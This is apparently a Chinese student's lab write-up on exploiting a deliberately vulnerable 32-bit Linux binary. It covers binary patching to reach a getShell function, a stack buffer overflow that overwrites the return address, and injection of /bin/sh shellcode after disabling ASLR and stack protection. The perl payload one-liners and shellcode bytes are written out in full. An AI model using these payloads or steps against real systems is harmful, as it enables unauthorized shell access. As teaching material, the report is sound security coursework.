1. 程式人生 > >20154322 楊欽涵 Exp1 PC平臺逆向破解(5)M

20154322 楊欽涵 Exp1 PC平臺逆向破解(5)M

兩種方法 保存 assemble 同時 vim編輯 add 逆向 流程 ren

Exp1 PC平臺逆向破解(5)M

一、實驗目標

  • 本次實踐的對象是一個名為pwn1linux可執行文件。

  • 該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。

  • 該程序同時包含另一個代碼片段getShell,會返回一個可用Shell。正常情況下這個代碼是不會被運行的。我們實踐的目標就是想辦法運行這個代碼片段。我們將學習兩種方法運行這 個代碼片段,然後學習如何註入運行任何Shellcode

二、實驗知識掌握

1.掌握NOP, JNE, JE, JMP, CMP匯編指令的機器碼
通過反匯編指令objdump -d 20154322yqh查看可執行文件20154322yqh

的反匯編代碼和對應的機器碼
技術分享圖片

可看出:
NOP匯編指令的機器碼是:90
JNE匯編指令的機器碼是:75
JE匯編指令的機器碼是:74
JMP匯編指令的機器碼是:eb
CMP匯編指令的機器碼是:39

2.掌握反匯編與十六進制編程器

  • 反匯編:把目標代碼轉為匯編代碼的過程,也可以說是把機器語言轉換為匯編語言代碼、低級轉高級的意思。(來源:百度反匯編
    反匯編指令是objdump -d filename-d是反匯編test中的需要執行指令的那些section。
    其余objdump命令的使用可參考:CSDN博客
  • 十六進制編程器:用來以16進制視圖進行文本編輯的編輯工具軟件。在vim中即可實現,步驟如下:
    • 輸入命令vi 20154322
      查看可執行文件內容。
    • esc後輸入:%!xxd切換為16進制表示。
    • :%!xxd -r切換為原格式。

三、實驗步驟及結果

1.手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數
實驗步驟如下:
①輸入反匯編指令objdump -d 20154322查看可執行文件內容,找到需要修改的代碼行
技術分享圖片

②找到getshell函數和foo函數的地址,分別是0804847d08048491,若想讓這條指令之後轉入getshell函數,則需將地址 d7ffffff修改 為 getShell(80484ba)對應的補碼(47d-4ba),即為:c3ffffff。

③用vim編輯器打開20154322文件vi 20154322

,並輸入:%!xxd將其轉化為16進制表示
技術分享圖片

④用/e8 d7查找需要修改的內容;
技術分享圖片

⑤修改d7c3(修改時需先按r
技術分享圖片

⑥輸入:%!xxd -r轉換16進制為原格式
技術分享圖片

⑦保存並退出wq
技術分享圖片

⑧輸入反匯編指令objdump -d 20154322查看修改後的地址,發現修改成功
技術分享圖片

2.利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數
實驗步驟如下:
①由圖可知:foo函數執行完成之後,系統會調用的下一條指令的地址為80484ba。我們的目標即是通過foo函數的Bof漏洞輸入一段字符串覆蓋掉80484ba,使得80484ba的值為0804847d,這樣即可getshell函數。
技術分享圖片

②確認輸入字符串哪幾個字符會覆蓋到返回地址

③用gdb調試程序
技術分享圖片

  *  `gdb`:調試運行程序,再輸入`r`運行程序。

④ 輸入有規律的字符串如“1111111122222222333333334444444456781234” 發現緩沖區溢出,用info rinfo r eip查看寄存器eip的值,看輸入的哪個字節覆蓋了它,發現是“5678”這四個字節。
技術分享圖片

⑤由於"5678"這四個數最終會覆蓋到堆棧上的返回地址,所以我們要用getshell的地址0804847d替換它

⑥根據數據的小端方式存儲,我們要在32字節後輸入\x7d\x84\x04\x08這四個字節來覆蓋返回地址為getshell的地址
技術分享圖片

  • \x0a表示回車;xxd查看文件十六進制格式的內容。
    perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input將字符串寫入input文件;

⑦將input的輸入,通過管道符“|”,將(cat input;cat) | ./20154322輸入,覆蓋返回地址
技術分享圖片

3註入一個自己制作的shellcode並運行這段shellcode
①安裝execstack並修改設置 apt-get install execstack
技術分享圖片

②準備一段Shellcode
shellcode就是一段機器指令,我們這裏使用的shellcode是參考提供。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

③設置堆棧可執行execstack -s 20154322

④查詢文件的堆棧是否可執行execstack -q 20154322

⑤查詢文件的堆棧是否可執行execstack -q 20154322

⑥檢測地址隨機化狀態more /proc/sys/kernel/randomize_va_space

⑦關閉地址隨機化echo "0" > /proc/sys/kernel/randomize_va_space

⑧檢測地址隨機化狀態more /proc/sys/kernel/randomize_va_space
技術分享圖片

  • X表示文件的堆棧可執行,0表示地址隨機化

⑨註入shellcode:Linux下有兩種基本構造攻擊buf的方法:retaddr+nop+shellcodenop+shellcode+retaddr。緩沖區小就用前一種方法,緩沖區大就用後一種方法。我們選用retaddr+nop+shellcode方法。

* 與之前相同,我們把輸入的字串放入input_shellcode文件裏 :

perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode,其中,最後的\x4\x3\x2\x1作為試探地址,將覆蓋到堆棧上的返回地址的位置。
技術分享圖片

註意:輸入完指令只需要按一次回車,然後我們需要打開另一個終端

⑩用ps -ef | grep20154322查看進程號
技術分享圖片

由圖可知,進程號為:2612

?進入gdb調試該進程 attach 2612
技術分享圖片

?置斷點來查看註入buf的內存地址disassemble foo
技術分享圖片

  • break *0x080484ae設置斷點,用以查看註入buf的內存地址
    可以看到,會斷在080484ae,ret完,就跳到我們覆蓋的retaddr的位置了。

?在另一個終端按下回車,這樣程序就會執行之後在斷點處停下來。再在gdb調試的終端輸入 c 繼續運行程序
技術分享圖片

?通過info r esp查看esp寄存器的地址
技術分享圖片

?先找到ESP的地址,再根據ESP的地址找到shellcode的地址。x/16x 0xffffd3cc,找到了1234的位置
技術分享圖片

?可以看到 01020304 所在的地址為 0xffffd3cc,那麽註入的shellcode代碼的地址應該在該地址後四個字節的位置,即0xffffd3cc + 0x00000004 = 0xffffd3d0
技術分享圖片

?退出gdp調試,將shellcode寫入
perl -e ‘print "A" x 32;print "\xd0\xd3\xff\xff\x31\xf6\xf7\xe6\x52\x52\x52\x54\x5b\x53\x5f\xc7\x07\x2f\x62\x69\x6e\xc7\x47\x04\x2f\x2f\x73\x68\x40\x75\x04\xb0\x3b\x0f\x05\x31\xc9\xb0\x0b\xcd\x80\x90\x00"‘ > input_shellcode
技術分享圖片

如圖所示,註入攻擊成功。

四、存在問題及解決方案

問題1:不明白如何在foo函數地址的基礎上修改為getshell函數的地址
方法:兩個函數的相對地址是不變的,因此將foo函數地址 d7ffffff修改 為 getShell(80484ba)對應的補碼(47d-4ba),即為:c3ffffff。技術分享圖片
技術分享圖片
技術分享圖片

**問題2:./20154322執行 會出現[ bash: ./20154322:沒有那個文件或目錄]的提示。
方法:A用文本編輯器打開source.list
B添加下列更新源

`#阿裏雲kali源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free

中科大kali源

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
`

C對軟件進行一次整體更新(一共923M的更新包)

apt-get clean apt-get update apt-get upgrade

D安裝32位運行庫

apt-get install lib32ncurses5

五、實驗體會

這是我第一次接觸在Linux基礎上的網絡攻防實驗。整體感覺還是挺有趣的,知道了什麽是逆向破解,以及逆向破解的三種方法。雖然實驗過程有些繁瑣,但學到了知識收獲還是不少。中途出現了有些問題,也通過上網查找資料,與同學老師交流探討找到了答案。這種通過自己的一次次嘗試實踐,一步步獲得了理想的實驗結果是最大的滿足感,也讓自己對以後的網絡攻防實驗充滿信心與期待。

20154322 楊欽涵 Exp1 PC平臺逆向破解(5)M